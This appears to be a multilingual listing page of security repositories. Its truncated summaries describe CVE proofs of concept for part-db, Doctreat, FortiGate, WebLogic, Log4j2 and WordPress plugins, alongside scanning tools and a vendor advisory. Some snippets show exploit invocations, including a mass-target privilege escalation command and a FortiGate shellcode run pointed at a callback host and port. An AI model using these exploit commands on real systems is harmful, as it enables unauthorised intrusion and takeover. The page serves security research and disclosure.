CVE-2022-0848

CVE-2022-0848 Exécution de code à distance RCE dans part-db 0.5.11 Modifiez l'hôte dans le fichier bash et exécutez-le...

CVE-2025-6254

CVE-2025-6254 python exploit.py -u http://localhost:8080 python exploit.py -f targets.txt -T 50 -t 8 python exploit.py -f targets.txt -o sonuclar.txt --role editor CVE-2025-6254 - Doctreat Core = 1.6.8 Unauthenticated Privilege Escalation UTILISEZ UNIQUEMENT DANS VOTRE PROPRE ENVIRONNEMENT DE TES...

POC-CVE-2023-3244

доказательство концепции для CVE-2023-3244 Привет, это простое доказательство концепции PoC для уязвимости CVE-2023-3244, найденной в WordPress-плагине "comments-like-dislike". Уязвимость затрагивает версии плагина до 1.2.0 включительно. Для эксплуатации этой уязвимости вы можете обратиться к...

ADB-Toolkit

!made-with-bashhttps://img.shields.io/badge/-Made%20with%20Bash-1f425f.svg?logo=image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlk...

EUVD-2026-53582

praisonaiagents has a webcrawl SSRF protection bypass via unchecked redirect targets...

CVE-2018-16167

Ordre d'installation et d'exécution 0. Installation de LogonTracer Téléchargez la version 1.2.0 de logontracer, dans laquelle une vulnérabilité a été découverte, depuis dockerhub. root@kitploit: $docker pull jpcertcc/docker-logontracer:v1.2.0 1. Exécution de LogonTracer Montez le conteneur avec...

CVE-2018-16763

CVE 2018-16763 Exploit Introduction PreAuth-RCE sur FUEL CMS 1.4.1 Démo Référence : https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2021-41074

CVE-2021-41074 CSRF dans Qloapps HotelCommerce 1.5.1 Il y a une vulnérabilité CSRF dans HotelCommerce 1.5.1. Elle peut permettre à quiconque de modifier l'email de l'administrateur. Si un attaquant parvient à faire cliquer un administrateur sur un document HTML malveillant, ils peuvent modifier...

https-github.com-pravin-pp-log4j2-CVE-2021-45105-1

Exemple d'application Log4j2 vulnérable CVE-2021-45105 Versions concernées : toutes les versions de 2.0-beta9 à 2.16.0 Cette application est basée sur une application web Spring Boot vulnérable à la CVE-2021-45105 Elle utilise Log4j 2.16.0 Exécution de l'application Exécutez-la : root@kitploit:...

magescan

Mage Scan The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into. Installation .phar Download the magescan.pha...

CVE-2026-30503-OpenKM-6.3.12-Stored-XSS

🛡️ CVE-2026-30503 — XSS stocké dans OpenKM v6.3.12 Découvert et signalé parDharmendra Kumar — Chercheur en sécurité Cybersécurité | Test d'intrusion | Recherche de vulnérabilités | Divulgation responsable 📌 Table des matières Vue d'ensemble Détails CVE Produit concerné Description de la...

CVE-2019-9787

CVE-2019-9787 CSRF PoC 개요 CVE-2019-9787 CSRF의 PoC WordPress 버전 5.1.1 CVE-2019-9787 테스트 목적 외에는 사용하지 마십시오. 설치 root@kitploit: docker-compose up -d 공격 1. http://localhost:8080/wp-admin/install.php에 접속하여 WordPress를 설치하세요. WP 관리자 계정만 생성하면 됩니다. 2. 방문자로 http://localhost:8080/?p=1comments에 접속한 뒤 "Hacker...

CVE-2017-16567

CVE-2017-16567 1. Exploit Title: Logitech Media Server : Cross Site Scripting persistant XSS 2. Shodan Dork: Recherche Logitech Media Server 3. Date: 11/03/2017 4. Exploit Author: Dewank Pant 5. Vendor Homepage: www.logitech.com 6. Version: 7.9.0 7. Tested on: Windows 10, Linux POC: 1. Accédez à...

cve-2019-14206-poc

CVE-2019-14206 - Adaptive Images pour WordPress - Suppression arbitraire de fichiers 📋 Table des matières 1. À propos de la vulnérabilité 2. Prérequis 3. Installation 4. Méthodes de test Test rapide Test complet avec Docker Test avec Nuclei Test manuel 5. Interprétation des résultats 6. Nettoyage...

Important: Red Hat Security Advisory: RHTAS 1.3.7 - Red Hat Trusted Artifact Signer Release

The 1.3.7 release of Red Hat Trusted Artifact Signer OpenShift Operator. For more details please visit the product documentation at https://access.redhat.com/documentation/en-us/redhattrustedartifactsigner/1.3 The RHTAS Operator can be used with OpenShift Container Platform 4.16, 4.17, 4.18, 4.19...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 est exploitable par ce code. notez que le code a été écrit d'une manière très stupide. Preuve de concept root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in...

domain_analyzer

Domain Analyzer v0.8.3 What Domain analyzer is a security analysis tool that automatically discovers and reports information about a given domain. Its main purpose is to analyze domains in an unattended way. It has many crazy features, such as getting more domains from DNS zones, automatic nmap,...

CVE-2024-21006

1、没什么好说的就是一个ldap利用。 2、请检查ldap服务请求日志。 3、目标版本需要在Oracle WebLogic Server 为 12.2.1.4.0 和 14.1.1.0.0。并且需要在低版本jdk。 4、使用JNDIExploit-1.4-SNAPSHOT.jar开启ldap服务。...

CVE-2022-24715-go

CVE-2022-24715 go로 작성된 Icinga Web 2 익스플로잇. 원본 파이썬 코드는 다음에서 찾을 수 있습니다: https://packetstormsecurity.com/files/173516/Icinga-Web-2.10-Remote-Code-Execution.html...

cve-2022-33082-exploit

CVE 2022-33082 Эксплойт ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ Этот код предоставлен для ЭТИЧЕСКИХ целей — понимания уязвимости и тестирования собственных систем или АВТОРИЗОВАННЫХ систем. Используя его, вы соглашаетесь действовать этично, и я не несу ответственности, если вы действуете неэтично. Этот эксплойт...